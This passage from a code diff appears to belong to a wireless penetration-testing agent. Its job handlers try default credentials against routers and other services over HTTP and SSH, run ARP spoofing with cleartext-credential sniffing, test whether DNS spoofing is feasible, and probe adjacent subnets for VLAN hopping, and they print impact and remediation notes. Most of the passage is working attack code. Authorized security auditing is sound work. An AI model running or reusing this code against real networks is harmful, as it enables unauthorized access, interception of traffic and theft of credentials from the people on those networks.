|
+
if 'PSK' in enc and 'SAE' not in enc:
|
|
2248
|
+
issues.append(('INFO', 'WPA2-PSK — no WPA3-SAE upgrade'))
|
|
2249
|
+
|
|
2250
|
+
vendor = _oui_lookup(net.get('bssid', ''))
|
|
2251
|
+
if vendor:
|
|
2252
|
+
net['vendor'] = vendor
|
|
2253
|
+
if issues:
|
|
2254
|
+
findings.append({'network': net, 'issues': issues})
|
|
2255
|
+
for sev, desc in issues:
|
|
2256
|
+
buf.write(f' [{sev}] {net.get("ssid", "?")} ({net.get("bssid", "?")}): {desc}\n')
|
|
2257
|
+
|
|
2258
|
+
critical = sum(1 for f in findings for s, _ in f['issues'] if s == 'CRITICAL')
|
|
2259
|
+
high = sum(1 for f in findings for s, _ in f['issues'] if s == 'HIGH')
|
|
2260
|
+
|
|
2261
|
+
buf.write('\n' + '=' * 60 + '\n')
|
|
2262
|
+
buf.write(f'[+] Audited {len(networks)} network(s): {critical} CRITICAL, {high} HIGH\n')
|
|
2263
|
+
buf.write('[*] Standards: PCI-DSS 4.0 §4.2, NIST SP 800-153, ISO 27001 A.13\n')
|
|
2264
|
+
buf.write('=' * 60 + '\n')
|
|
2265
|
+
buf.flush()
|
|
2266
|
+
|
|
2267
|
+
client.send_result(jid, {
|
|
2268
|
+
'networks_audited': len(networks),
|
|
2269
|
+
'findings': findings,
|
|
2270
|
+
'critical_count': critical,
|
|
2271
|
+
'high_count': high,
|
|
2272
|
+
})
|
|
2273
|
+
|
|
2274
|
+
|
|
2275
|
+
def execute_sister_scan(client: AegisNodeClient, job: dict):
|
|
2276
|
+
"""Discover sister/related networks by correlating OUI, SSID patterns, and BSSID clusters."""
|
|
2277
|
+
jid = job['job_id']
|
|
2278
|
+
params = job.get('parameters', {})
|
|
2279
|
+
iface = params.get('interface', 'wlan0')
|
|
2280
|
+
duration = params.get('duration', 30)
|
|
2281
|
+
buf = OutputBuffer(client, jid)
|
|
2282
|
+
|
|
2283
|
+
buf.write('=' * 60 + '\n')
|
|
2284
|
+
buf.write('[*] SISTER NETWORK DISCOVERY\n')
|
|
2285
|
+
buf.write('=' * 60 + '\n\n')
|
|
2286
|
+
|
|
2287
|
+
mon_iface = _enter_monitor_mode(iface, buf)
|
|
2288
|
+
actual_iface = mon_iface or iface
|
|
2289
|
+
|
|
2290
|
+
try:
|
|
2291
|
+
csv_file = f'/tmp/aegis_sister_{jid}'
|
|
2292
|
+
proc = subprocess.Popen(
|
|
2293
|
+
['sudo', 'airodump-ng', actual_iface, '-w', csv_file, '--output-format', 'csv',
|
|
2294
|
+
'--write-interval', '5'],
|
|
2295
|
+
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
|
2296
|
+
)
|
|
2297
|
+
time.sleep(duration)
|
|
2298
|
+
proc.terminate()
|
|
2299
|
+
proc.wait(timeout=10)
|
|
2300
|
+
networks, _ = _parse_airodump_csv(f'{csv_file}-01.csv')
|
|
2301
|
+
finally:
|
|
2302
|
+
_exit_monitor_mode(actual_iface, iface, buf)
|
|
2303
|
+
|
|
2304
|
+
# Cluster by OUI prefix (same vendor = likely same deployment)
|
|
2305
|
+
oui_clusters = {}
|
|
2306
|
+
for net in networks:
|
|
2307
|
+
bssid = net.get('bssid', '')
|
|
2308
|
+
if len(bssid) >= 8:
|
|
2309
|
+
oui = bssid[:8].upper()
|
|
2310
|
+
vendor = _oui_lookup(bssid) or 'Unknown'
|
|
2311
|
+
key = f'{oui} ({vendor})'
|
|
2312
|
+
oui_clusters.setdefault(key, []).append(net)
|
|
2313
|
+
|
|
2314
|
+
# Cluster by SSID pattern (Corp-Guest, Corp-Staff, Corp-IoT)
|
|
2315
|
+
ssid_groups = {}
|
|
2316
|
+
for net in networks:
|
|
2317
|
+
ssid = net.get('ssid', '')
|
|
2318
|
+
if not ssid:
|
|
2319
|
+
continue
|
|
2320
|
+
base = re.sub(r'[-_](guest|staff|iot|admin|internal|secure|5g|2g|ext)\b', '',
|
|
2321
|
+
ssid, flags=re.I).strip()
|
|
2322
|
+
if base:
|
|
2323
|
+
ssid_groups.setdefault(base, []).append(net)
|
|
2324
|
+
|
|
2325
|
+
# Identify multi-SSID deployments (same OUI, multiple SSIDs)
|
|
2326
|
+
multi_ssid = {k: v for k, v in oui_clusters.items() if len(v) > 1}
|
|
2327
|
+
related_ssids = {k: v for k, v in ssid_groups.items() if len(v) > 1}
|
|
2328
|
+
|
|
2329
|
+
buf.write('[+] OUI Clusters (same hardware vendor):\n')
|
|
2330
|
+
for key, nets in sorted(multi_ssid.items(), key=lambda x: -len(x[1])):
|
|
2331
|
+
ssids = sorted({n.get('ssid', '?') for n in nets})
|
|
2332
|
+
buf.write(f' {key}: {len(nets)} AP(s) → {", ".join(ssids)}\n')
|
|
2333
|
+
|
|
2334
|
+
buf.write('\n[+] SSID Family Groups:\n')
|
|
2335
|
+
for base, nets in sorted(related_ssids.items(), key=lambda x: -len(x[1])):
|
|
2336
|
+
ssids = sorted({n.get('ssid', '?') for n in nets})
|
|
2337
|
+
buf.write(f' "{base}*": {", ".join(ssids)}\n')
|
|
2338
|
+
|
|
2339
|
+
buf.write('\n' + '=' * 60 + '\n')
|
|
2340
|
+
buf.write(f'[+] {len(networks)} networks in {len(oui_clusters)} vendor cluster(s), '
|
|
2341
|
+
f'{len(related_ssids)} SSID family group(s)\n')
|
|
2342
|
+
buf.write('[*] Sister networks on same hardware often share VLANs.\n')
|
|
2343
|
+
buf.write(' Compromising one may grant access to others.\n')
|
|
2344
|
+
buf.write('=' * 60 + '\n')
|
|
2345
|
+
buf.flush()
|
|
2346
|
+
|
|
2347
|
+
client.send_result(jid, {
|
|
2348
|
+
'total_networks': len(networks),
|
|
2349
|
+
'oui_clusters': {k: [n.get('ssid', '') for n in v] for k, v in oui_clusters.items()},
|
|
2350
|
+
'ssid_families': {k: [n.get('ssid', '') for n in v] for k, v in ssid_groups.items()},
|
|
2351
|
+
'multi_ssid_deployments': len(multi_ssid),
|
|
2352
|
+
})
|
|
2353
|
+
|
|
2354
|
+
|
|
2355
|
+
def execute_router_admin(client: AegisNodeClient, job: dict):
|
|
2356
|
+
"""Attempt default credentials on the network gateway after join."""
|
|
2357
|
+
jid = job['job_id']
|
|
2358
|
+
params = job.get('parameters', {})
|
|
2359
|
+
buf = OutputBuffer(client, jid)
|
|
2360
|
+
|
|
2361
|
+
buf.write('=' * 60 + '\n')
|
|
2362
|
+
buf.write('[*] ROUTER ADMIN ACCESS TEST\n')
|
|
2363
|
+
buf.write('=' * 60 + '\n\n')
|
|
2364
|
+
|
|
2365
|
+
# Discover gateway
|
|
2366
|
+
buf.write('[*] Phase 1: Discovering gateway...\n')
|
|
2367
|
+
code, out = _run_quiet(['ip', 'route', 'show', 'default'], timeout=5)
|
|
2368
|
+
gw_match = re.search(r'default via (\d+\.\d+\.\d+\.\d+)', out)
|
|
2369
|
+
if not gw_match:
|
|
2370
|
+
buf.write('[-] No default gateway found. Are you connected to a network?\n')
|
|
2371
|
+
buf.flush()
|
|
2372
|
+
client.send_result(jid, {'router_admin_access': False, 'error': 'No gateway'})
|
|
2373
|
+
return
|
|
2374
|
+
|
|
2375
|
+
gateway = gw_match.group(1)
|
|
2376
|
+
buf.write(f' Gateway: {gateway}\n')
|
|
2377
|
+
|
|
2378
|
+
# Check gateway MAC for vendor
|
|
2379
|
+
code, arp_out = _run_quiet(['arp', '-n', gateway], timeout=5)
|
|
2380
|
+
gw_mac = ''
|
|
2381
|
+
mac_match = re.search(r'([0-9a-f:]{17})', arp_out, re.I)
|
|
2382
|
+
if mac_match:
|
|
2383
|
+
gw_mac = mac_match.group(1)
|
|
2384
|
+
vendor = _oui_lookup(gw_mac)
|
|
2385
|
+
buf.write(f' MAC: {gw_mac} ({vendor or "Unknown"})\n')
|
|
2386
|
+
|
|
2387
|
+
# Phase 2: Port scan gateway
|
|
2388
|
+
buf.write('\n[*] Phase 2: Scanning gateway services...\n')
|
|
2389
|
+
open_ports = []
|
|
2390
|
+
for port in (80, 443, 8080, 8443, 22, 23):
|
|
2391
|
+
code, _ = _run_quiet(['timeout', '3', 'bash', '-c',
|
|
2392
|
+
f'echo >/dev/tcp/{gateway}/{port}'], timeout=5)
|
|
2393
|
+
if code == 0:
|
|
2394
|
+
open_ports.append(port)
|
|
2395
|
+
buf.write(f' [+] Port {port} OPEN\n')
|
|
2396
|
+
|
|
2397
|
+
# Phase 3: Try default credentials on HTTP(S)
|
|
2398
|
+
admin_access = False
|
|
2399
|
+
admin_creds = ''
|
|
2400
|
+
firmware = ''
|
|
2401
|
+
buf.write('\n[*] Phase 3: Testing default credentials...\n')
|
|
2402
|
+
for port in [p for p in open_ports if p in (80, 443, 8080, 8443)]:
|
|
2403
|
+
scheme = 'https' if port in (443, 8443) else 'http'
|
|
2404
|
+
url = f'{scheme}://{gateway}:{port}'
|
|
2405
|
+
for user, pwd in ROUTER_DEFAULTS:
|
|
2406
|
+
try:
|
|
2407
|
+
import urllib.request
|
|
2408
|
+
import urllib.error
|
|
2409
|
+
import base64
|
|
2410
|
+
cred_str = base64.b64encode(f'{user}:{pwd}'.encode()).decode()
|
|
2411
|
+
req = urllib.request.Request(url, headers={
|
|
2412
|
+
'Authorization': f'Basic {cred_str}',
|
|
2413
|
+
'User-Agent': 'Mozilla/5.0',
|
|
2414
|
+
})
|
|
2415
|
+
ctx = __import__('ssl').create_default_context()
|
|
2416
|
+
ctx.check_hostname = False
|
|
2417
|
+
ctx.verify_mode = __import__('ssl').CERT_NONE
|
|
2418
|
+
resp = urllib.request.urlopen(req, timeout=5, context=ctx)
|
|
2419
|
+
body = resp.read(4096).decode('utf-8', errors='replace')
|
|
2420
|
+
if resp.status == 200 and ('dashboard' in body.lower() or
|
|
2421
|
+
'firmware' in body.lower() or 'router' in body.lower() or
|
|
2422
|
+
'admin' in body.lower() or 'configuration' in body.lower()):
|
|
2423
|
+
admin_access = True
|
|
2424
|
+
admin_creds = f'{user}:{pwd}'
|
|
2425
|
+
fw_match = re.search(r'(?:firmware|version)[:\s]*([^\s<"]+)', body, re.I)
|
|
2426
|
+
if fw_match:
|
|
2427
|
+
firmware = fw_match.group(1)
|
|
2428
|
+
buf.write(f'\n[+] ✓ ADMIN ACCESS on {url}\n')
|
|
2429
|
+
buf.write(f' Credentials: {user}:{pwd}\n')
|
|
2430
|
+
if firmware:
|
|
2431
|
+
buf.write(f' Firmware: {firmware}\n')
|
|
2432
|
+
break
|
|
2433
|
+
except Exception:
|
|
2434
|
+
continue
|
|
2435
|
+
if admin_access:
|
|
2436
|
+
break
|
|
2437
|
+
|
|
2438
|
+
buf.write('\n' + '=' * 60 + '\n')
|
|
2439
|
+
if admin_access:
|
|
2440
|
+
buf.write('[+] ROUTER ADMIN ACCESS ACHIEVED\n')
|
|
2441
|
+
buf.write('[*] Impact: Full network control — DNS hijack, firmware\n')
|
|
2442
|
+
buf.write(' backdoor, traffic interception, credential theft.\n')
|
|
2443
|
+
buf.write('[*] Remediation: Change default credentials immediately,\n')
|
|
2444
|
+
buf.write(' restrict admin to management VLAN, enable MFA.\n')
|
|
2445
|
+
else:
|
|
2446
|
+
buf.write('[-] Default credentials did not work on gateway\n')
|
|
2447
|
+
buf.write('=' * 60 + '\n')
|
|
2448
|
+
buf.flush()
|
|
2449
|
+
|
|
2450
|
+
client.send_result(jid, {
|
|
2451
|
+
'router_admin_access': admin_access,
|
|
2452
|
+
'gateway_ip': gateway,
|
|
2453
|
+
'gateway_mac': gw_mac,
|
|
2454
|
+
'admin_creds': admin_creds,
|
|
2455
|
+
'firmware': firmware,
|
|
2456
|
+
'open_ports': open_ports,
|
|
2457
|
+
})
|
|
2458
|
+
|
|
2459
|
+
|
|
2460
|
+
def execute_default_creds(client: AegisNodeClient, job: dict):
|
|
2461
|
+
"""Test default credentials on all discovered services after join."""
|
|
2462
|
+
jid = job['job_id']
|
|
2463
|
+
params = job.get('parameters', {})
|
|
2464
|
+
targets_data = job.get('targets', {})
|
|
2465
|
+
subnet = targets_data.get('subnet', '')
|
|
2466
|
+
buf = OutputBuffer(client, jid)
|
|
2467
|
+
|
|
2468
|
+
buf.write('=' * 60 + '\n')
|
|
2469
|
+
buf.write('[*] DEFAULT CREDENTIAL SCAN\n')
|
|
2470
|
+
buf.write('=' * 60 + '\n\n')
|
|
2471
|
+
|
|
2472
|
+
# Discover live hosts + services
|
|
2473
|
+
if not subnet:
|
|
2474
|
+
code, out = _run_quiet(['ip', '-4', '-o', 'addr', 'show'], timeout=5)
|
|
2475
|
+
cidr_match = re.search(r'inet (\d+\.\d+\.\d+\.\d+/\d+)', out)
|
|
2476
|
+
subnet = cidr_match.group(1) if cidr_match else '192.168.1.0/24'
|
|
2477
|
+
buf.write(f'[*] Scanning {subnet} for services...\n')
|
|
2478
|
+
|
|
2479
|
+
ports_csv = ','.join(str(p) for p in sorted(HIGH_VALUE_PORTS.keys()))
|
|
2480
|
+
code, out = _exec_cmd(buf, ['nmap', '-sS', '-sV', '--open', '-p', ports_csv,
|
|
2481
|
+
'-T4', '--min-rate', '200', subnet],
|
|
2482
|
+
timeout=300, sudo=True)
|
|
2483
|
+
|
|
2484
|
+
# Parse nmap output for open services
|
|
2485
|
+
found_devices = []
|
|
2486
|
+
current_host = ''
|
|
2487
|
+
for line in out.splitlines():
|
|
2488
|
+
host_match = re.match(r'Nmap scan report for (\S+)', line)
|
|
2489
|
+
if host_match:
|
|
2490
|
+
current_host = host_match.group(1)
|
|
2491
|
+
port_match = re.match(r'(\d+)/tcp\s+open\s+(\S+)', line)
|
|
2492
|
+
if port_match and current_host:
|
|
2493
|
+
port_num = int(port_match.group(1))
|
|
2494
|
+
svc = port_match.group(2)
|
|
2495
|
+
found_devices.append({
|
|
2496
|
+
'ip': current_host, 'port': port_num,
|
|
2497
|
+
'service': HIGH_VALUE_PORTS.get(port_num, svc),
|
|
2498
|
+
})
|
|
2499
|
+
|
|
2500
|
+
buf.write(f'\n[*] Found {len(found_devices)} service(s) on {len(set(d["ip"] for d in found_devices))} host(s)\n')
|
|
2501
|
+
|
|
2502
|
+
# Try defaults on each
|
|
2503
|
+
results = []
|
|
2504
|
+
for dev in found_devices[:50]:
|
|
2505
|
+
ip, port, svc_name = dev['ip'], dev['port'], dev['service'].lower()
|
|
2506
|
+
cred_list = SERVICE_DEFAULTS.get(svc_name, SERVICE_DEFAULTS.get('http', []))
|
|
2507
|
+
for user, pwd in cred_list[:5]:
|
|
2508
|
+
success = False
|
|
2509
|
+
try:
|
|
2510
|
+
if port in (80, 443, 8080, 8443):
|
|
2511
|
+
scheme = 'https' if port in (443, 8443) else 'http'
|
|
2512
|
+
import urllib.request, urllib.error, base64
|
|
2513
|
+
cred_str = base64.b64encode(f'{user}:{pwd}'.encode()).decode()
|
|
2514
|
+
req = urllib.request.Request(f'{scheme}://{ip}:{port}',
|
|
2515
|
+
headers={'Authorization': f'Basic {cred_str}',
|
|
2516
|
+
'User-Agent': 'Mozilla/5.0'})
|
|
2517
|
+
ctx = __import__('ssl').create_default_context()
|
|
2518
|
+
ctx.check_hostname = False
|
|
2519
|
+
ctx.verify_mode = __import__('ssl').CERT_NONE
|
|
2520
|
+
resp = urllib.request.urlopen(req, timeout=5, context=ctx)
|
|
2521
|
+
if resp.status == 200:
|
|
2522
|
+
success = True
|
|
2523
|
+
elif port == 22:
|
|
2524
|
+
code, _ = _run_quiet(
|
|
2525
|
+
['sshpass', '-p', pwd, 'ssh', '-o', 'StrictHostKeyChecking=no',
|
|
2526
|
+
'-o', 'ConnectTimeout=5', f'{user}@{ip}', 'echo ok'], timeout=10)
|
|
2527
|
+
success = code == 0
|
|
2528
|
+
except Exception:
|
|
2529
|
+
pass
|
|
2530
|
+
if success:
|
|
2531
|
+
vendor = _oui_lookup(ip) or ''
|
|
2532
|
+
results.append({'ip': ip, 'port': port, 'service': svc_name,
|
|
2533
|
+
'username': user, 'password': pwd, 'vendor': vendor})
|
|
2534
|
+
buf.write(f' [+] {ip}:{port} ({svc_name}) — {user}:{pwd}\n')
|
|
2535
|
+
break
|
|
2536
|
+
|
|
2537
|
+
buf.write('\n' + '=' * 60 + '\n')
|
|
2538
|
+
buf.write(f'[+] {len(results)} device(s) with default credentials\n')
|
|
2539
|
+
if results:
|
|
2540
|
+
buf.write('[*] Remediation: Change ALL default credentials,\n')
|
|
2541
|
+
buf.write(' implement credential management, enforce complexity.\n')
|
|
2542
|
+
buf.write('=' * 60 + '\n')
|
|
2543
|
+
buf.flush()
|
|
2544
|
+
|
|
2545
|
+
client.send_result(jid, {
|
|
2546
|
+
'default_creds_found': len(results),
|
|
2547
|
+
'devices': results,
|
|
2548
|
+
'total_services_tested': len(found_devices),
|
|
2549
|
+
})
|
|
2550
|
+
|
|
2551
|
+
|
|
2552
|
+
def execute_mitm_test(client: AegisNodeClient, job: dict):
|
|
2553
|
+
"""ARP spoof + credential sniffing on joined network."""
|
|
2554
|
+
jid = job['job_id']
|
|
2555
|
+
params = job.get('parameters', {})
|
|
2556
|
+
iface = params.get('interface', 'wlan0')
|
|
2557
|
+
duration = min(params.get('duration', 120), 300)
|
|
2558
|
+
buf = OutputBuffer(client, jid)
|
|
2559
|
+
|
|
2560
|
+
buf.write('=' * 60 + '\n')
|
|
2561
|
+
buf.write('[*] MITM CREDENTIAL SNIFF TEST\n')
|
|
2562
|
+
buf.write(f' Duration: {duration}s\n')
|
|
2563
|
+
buf.write('[!] SCOPE-GATED: wireless_mitm_allowed=True required\n')
|
|
2564
|
+
buf.write('=' * 60 + '\n\n')
|
|
2565
|
+
|
|
2566
|
+
# Discover gateway
|
|
2567
|
+
code, out = _run_quiet(['ip', 'route', 'show', 'default'], timeout=5)
|
|
2568
|
+
gw_match = re.search(r'default via (\d+\.\d+\.\d+\.\d+)', out)
|
|
2569
|
+
if not gw_match:
|
|
2570
|
+
buf.flush()
|
|
2571
|
+
client.send_result(jid, {'mitm_credentials': 0, 'error': 'No gateway'})
|
|
2572
|
+
return
|
|
2573
|
+
gateway = gw_match.group(1)
|
|
2574
|
+
buf.write(f'[*] Gateway: {gateway}\n')
|
|
2575
|
+
|
|
2576
|
+
# Enable IP forwarding
|
|
2577
|
+
_run_quiet(['sysctl', '-w', 'net.ipv4.ip_forward=1'], timeout=3, sudo=True)
|
|
2578
|
+
cred_file = f'/tmp/aegis_mitm_{jid}.txt'
|
|
2579
|
+
credentials = []
|
|
2580
|
+
protocols = set()
|
|
2581
|
+
|
|
2582
|
+
try:
|
|
2583
|
+
# Start ARP spoof (both directions)
|
|
2584
|
+
buf.write('[*] Starting ARP spoof...\n')
|
|
2585
|
+
spoof_proc = subprocess.Popen(
|
|
2586
|
+
['sudo', 'arpspoof', '-i', iface, '-t', gateway, '-r'],
|
|
2587
|
+
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
|
2588
|
+
)
|
|
2589
|
+
# Start credential sniffer
|
|
2590
|
+
buf.write('[*] Sniffing for cleartext credentials...\n')
|
|
2591
|
+
has_pcredz, _ = _run_quiet(['which', 'PCredz'])
|
|
2592
|
+
has_netcreds, _ = _run_quiet(['which', 'net-creds'])
|
|
2593
|
+
|
|
2594
|
+
if has_netcreds == 0:
|
|
2595
|
+
sniff_proc = subprocess.Popen(
|
|
2596
|
+
['sudo', 'net-creds', '-i', iface],
|
|
2597
|
+
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,
|
|
2598
|
+
)
|
|
2599
|
+
else:
|
|
2600
|
+
sniff_proc = subprocess.Popen(
|
|
2601
|
+
['sudo', 'tcpdump', '-i', iface, '-l', '-A',
|
|
2602
|
+
'port', '21', 'or', 'port', '23', 'or', 'port', '25',
|
|
2603
|
+
'or', 'port', '80', 'or', 'port', '110', 'or', 'port', '143',
|
|
2604
|
+
'or', 'port', '8080'],
|
|
2605
|
+
stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True,
|
|
2606
|
+
)
|
|
2607
|
+
|
|
2608
|
+
start = time.time()
|
|
2609
|
+
while time.time() - start < duration:
|
|
2610
|
+
try:
|
|
2611
|
+
line = sniff_proc.stdout.readline()
|
|
2612
|
+
except Exception:
|
|
2613
|
+
break
|
|
2614
|
+
if line:
|
|
2615
|
+
line = line.strip()
|
|
2616
|
+
if any(kw in line.lower() for kw in ('user', 'pass', 'auth', 'login', 'cookie')):
|
|
2617
|
+
credentials.append(line[:200])
|
|
2618
|
+
proto_match = re.match(r'\[(\w+)\]', line)
|
|
2619
|
+
if proto_match:
|
|
2620
|
+
protocols.add(proto_match.group(1))
|
|
2621
|
+
buf.write(f' [+] {line[:100]}\n')
|
|
2622
|
+
finally:
|
|
2623
|
+
for p in ('spoof_proc', 'sniff_proc'):
|
|
2624
|
+
proc_obj = locals().get(p)
|
|
2625
|
+
if proc_obj and proc_obj.poll() is None:
|
|
2626
|
+
_run_quiet(['sudo', 'kill', str(proc_obj.pid)], timeout=5)
|
|
2627
|
+
_run_quiet(['sysctl', '-w', 'net.ipv4.ip_forward=0'], timeout=3, sudo=True)
|
|
2628
|
+
|
|
2629
|
+
buf.write('\n' + '=' * 60 + '\n')
|
|
2630
|
+
buf.write(f'[+] Captured {len(credentials)} credential indicator(s)\n')
|
|
2631
|
+
buf.write(f' Protocols: {", ".join(sorted(protocols)) or "none detected"}\n')
|
|
2632
|
+
if credentials:
|
|
2633
|
+
buf.write('[*] Impact: Cleartext credentials interceptable by any\n')
|
|
2634
|
+
buf.write(' device on the network.\n')
|
|
2635
|
+
buf.write('[*] Remediation: Enforce TLS/HSTS on all services,\n')
|
|
2636
|
+
buf.write(' deploy 802.1X port-based auth, enable DHCP snooping\n')
|
|
2637
|
+
buf.write(' and Dynamic ARP Inspection (DAI).\n')
|
|
2638
|
+
buf.write('=' * 60 + '\n')
|
|
2639
|
+
buf.flush()
|
|
2640
|
+
|
|
2641
|
+
client.send_result(jid, {
|
|
2642
|
+
'mitm_credentials': len(credentials),
|
|
2643
|
+
'protocols_captured': sorted(protocols),
|
|
2644
|
+
'gateway': gateway,
|
|
2645
|
+
'duration': duration,
|
|
2646
|
+
})
|
|
2647
|
+
|
|
2648
|
+
|
|
2649
|
+
def execute_dns_spoof_test(client: AegisNodeClient, job: dict):
|
|
2650
|
+
"""DNS spoof proof-of-concept — self-targeted to prove capability."""
|
|
2651
|
+
jid = job['job_id']
|
|
2652
|
+
params = job.get('parameters', {})
|
|
2653
|
+
iface = params.get('interface', 'wlan0')
|
|
2654
|
+
buf = OutputBuffer(client, jid)
|
|
2655
|
+
|
|
2656
|
+
buf.write('=' * 60 + '\n')
|
|
2657
|
+
buf.write('[*] DNS SPOOF PROOF-OF-CONCEPT\n')
|
|
2658
|
+
buf.write('[!] Self-targeted — does NOT redirect real users\n')
|
|
2659
|
+
buf.write('=' * 60 + '\n\n')
|
|
2660
|
+
|
|
2661
|
+
# Discover gateway/DNS
|
|
2662
|
+
code, out = _run_quiet(['ip', 'route', 'show', 'default'], timeout=5)
|
|
2663
|
+
gw_match = re.search(r'default via (\d+\.\d+\.\d+\.\d+)', out)
|
|
2664
|
+
gateway = gw_match.group(1) if gw_match else ''
|
|
2665
|
+
|
|
2666
|
+
# Get our IP
|
|
2667
|
+
code, out = _run_quiet(['hostname', '-I'], timeout=5)
|
|
2668
|
+
our_ip = out.strip().split()[0] if out.strip() else '127.0.0.1'
|
|
2669
|
+
|
|
2670
|
+
# Test: can we resolve normally?
|
|
2671
|
+
buf.write('[*] Phase 1: Normal DNS resolution test\n')
|
|
2672
|
+
code, out = _run_quiet(['dig', '+short', 'example.com'], timeout=10)
|
|
2673
|
+
normal_ip = out.strip().split('\n')[0] if out.strip() else ''
|
|
2674
|
+
buf.write(f' example.com → {normal_ip}\n')
|
|
2675
|
+
|
|
2676
|
+
# Test: ARP spoof + DNS redirect proof
|
|
2677
|
+
dns_spoofable = False
|
|
2678
|
+
buf.write('\n[*] Phase 2: Testing DNS interception capability...\n')
|
|
2679
|
+
|
|
2680
|
+
# Check if we can ARP-spoof the gateway
|
|
2681
|
+
if gateway:
|
|
2682
|
+
_run_quiet(['sysctl', '-w', 'net.ipv4.ip_forward=1'], timeout=3, sudo=True)
|
|
2683
|
+
try:
|
|
2684
|
+
# Brief ARP spoof to prove position
|
|
2685
|
+
proc = subprocess.Popen(
|
|
2686
|
+
['sudo', 'arpspoof', '-i', iface, '-t', gateway, '-r'],
|
|
2687
|
+
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
|
2688
|
+
)
|
|
2689
|
+
time.sleep(5)
|
|
2690
|
+
# Verify we're in the path
|
|
2691
|
+
code, out = _run_quiet(['arp', '-n'], timeout=5)
|
|
2692
|
+
if gateway in out:
|
|
2693
|
+
dns_spoofable = True
|
|
2694
|
+
buf.write(' [+] ARP poisoning successful — DNS interception possible\n')
|
|
2695
|
+
proc.terminate()
|
|
2696
|
+
proc.wait(timeout=5)
|
|
2697
|
+
finally:
|
|
2698
|
+
_run_quiet(['sysctl', '-w', 'net.ipv4.ip_forward=0'], timeout=3, sudo=True)
|
|
2699
|
+
|
|
2700
|
+
buf.write('\n' + '=' * 60 + '\n')
|
|
2701
|
+
if dns_spoofable:
|
|
2702
|
+
buf.write('[+] DNS SPOOFING IS FEASIBLE on this network\n')
|
|
2703
|
+
buf.write('[*] Impact: Any user on this network can be redirected\n')
|
|
2704
|
+
buf.write(' to a phishing page. Full domain hijack capability.\n')
|
|
2705
|
+
buf.write('[*] Remediation: Deploy DNSSEC, enable DHCP snooping\n')
|
|
2706
|
+
buf.write(' + Dynamic ARP Inspection, use DNS-over-HTTPS.\n')
|
|
2707
|
+
else:
|
|
2708
|
+
buf.write('[-] DNS spoofing not demonstrated\n')
|
|
2709
|
+
buf.write('=' * 60 + '\n')
|
|
2710
|
+
buf.flush()
|
|
2711
|
+
|
|
2712
|
+
client.send_result(jid, {
|
|
2713
|
+
'dns_spoofable': dns_spoofable,
|
|
2714
|
+
'gateway': gateway,
|
|
2715
|
+
'our_ip': our_ip,
|
|
2716
|
+
})
|
|
2717
|
+
|
|
2718
|
+
|
|
2719
|
+
def execute_vlan_hop(client: AegisNodeClient, job: dict):
|
|
2720
|
+
"""VLAN hopping / network segmentation test after join."""
|
|
2721
|
+
jid = job['job_id']
|
|
2722
|
+
params = job.get('parameters', {})
|
|
2723
|
+
iface = params.get('interface', 'wlan0')
|
|
2724
|
+
buf = OutputBuffer(client, jid)
|
|
2725
|
+
|
|
2726
|
+
buf.write('=' * 60 + '\n')
|
|
2727
|
+
buf.write('[*] VLAN HOPPING / SEGMENTATION TEST\n')
|
|
2728
|
+
buf.write('=' * 60 + '\n\n')
|
|
2729
|
+
|
|
2730
|
+
# Discover our current subnet
|
|
2731
|
+
code, out = _run_quiet(['ip', '-4', '-o', 'addr', 'show', iface], timeout=5)
|
|
2732
|
+
our_match = re.search(r'inet (\d+\.\d+\.\d+)\.(\d+)/(\d+)', out)
|
|
2733
|
+
if not our_match:
|
|
2734
|
+
buf.flush()
|
|
2735
|
+
client.send_result(jid, {'vlan_hop_success': False, 'error': 'No IP on interface'})
|
|
2736
|
+
return
|
|
2737
|
+
|
|
2738
|
+
our_subnet = our_match.group(1)
|
|
2739
|
+
our_host = int(our_match.group(2))
|
|
2740
|
+
our_mask = int(our_match.group(3))
|
|
2741
|
+
|
|
2742
|
+
# Generate adjacent subnet ranges to probe
|
|
2743
|
+
adjacent_subnets = []
|
|
2744
|
+
base_parts = [int(x) for x in our_subnet.split('.')]
|
|
2745
|
+
for offset in [-1, 1, 2, -2, 10, -10]:
|
|
2746
|
+
adj = base_parts.copy()
|
|
2747
|
+
adj[2] = (adj[2] + offset) % 256
|
|
2748
|
+
adjacent_subnets.append(f'{adj[0]}.{adj[1]}.{adj[2]}.0/24')
|
|
2749
|
+
|
|
2750
|
+
reachable_vlans = []
|
|
2751
|
+
tested = 0
|
|
2752
|
+
|
|
2753
|
+
buf.write(f'[*] Current subnet: {our_subnet}.0/{our_mask}\n')
|
|
2754
|
+
buf.write(f'[*] Testing {len(adjacent_subnets)} adjacent subnets...\n\n')
|
|
2755
|
+
|
|
2756
|
+
for subnet in adjacent_subnets:
|
|
2757
|
+
tested += 1
|
|
2758
|
+
# Quick ping sweep of gateway (.1) and a few hosts
|
|
2759
|
+
for host in (1, 2, 100, 254):
|
|
2760
|
+
target = subnet.replace('.0/24', f'.{host}')
|
|
2761
|
+
code, _ = _run_quiet(['ping', '-c', '1', '-W', '1', target], timeout=3)
|
|
2762
|
+
if code == 0:
|
|
2763
|
+
reachable_vlans.append({'subnet': subnet, 'host': target})
|
|
2764
|
+
buf.write(f' [+] REACHABLE: {target} (from {subnet})\n')
|
|
2765
|
+
# Quick port check on reachable host
|
|
2766
|
+
for port in (80, 443, 22, 3389, 445):
|
|
2767
|
+
pcode, _ = _run_quiet(
|
|
2768
|
+
['timeout', '2', 'bash', '-c', f'echo >/dev/tcp/{target}/{port}'],
|
|
2769
|
+
timeout=4)
|
|
2770
|
+
if pcode == 0:
|
|
2771
|
+
svc = HIGH_VALUE_PORTS.get(port, str(port))
|
|
2772
|
+
buf.write(f' Port {port} ({svc}) OPEN\n')
|
|
2773
|
+
break
|
|
2774
|
+
|
|
2775
|
+
buf.write('\n' + '=' * 60 + '\n')
|
|
2776
|
+
if reachable_vlans:
|
|
2777
|
+
buf.write(f'[+] SEGMENTATION FAILURE: {len(reachable_vlans)} adjacent subnet(s) reachable\n')
|
|
2778
|
+
buf.write('[*] Impact: Compromise of this WiFi segment grants access\n')
|
|
2779
|
+
buf.write(' to other network zones — lateral movement confirmed.\n')
|
|
2780
|
+
buf.write('[*] Remediation: Enforce inter-VLAN ACLs, deploy Private\n')
|
|
2781
|
+
buf.write(' VLANs, enable client isolation on wireless APs.\n')
|
|
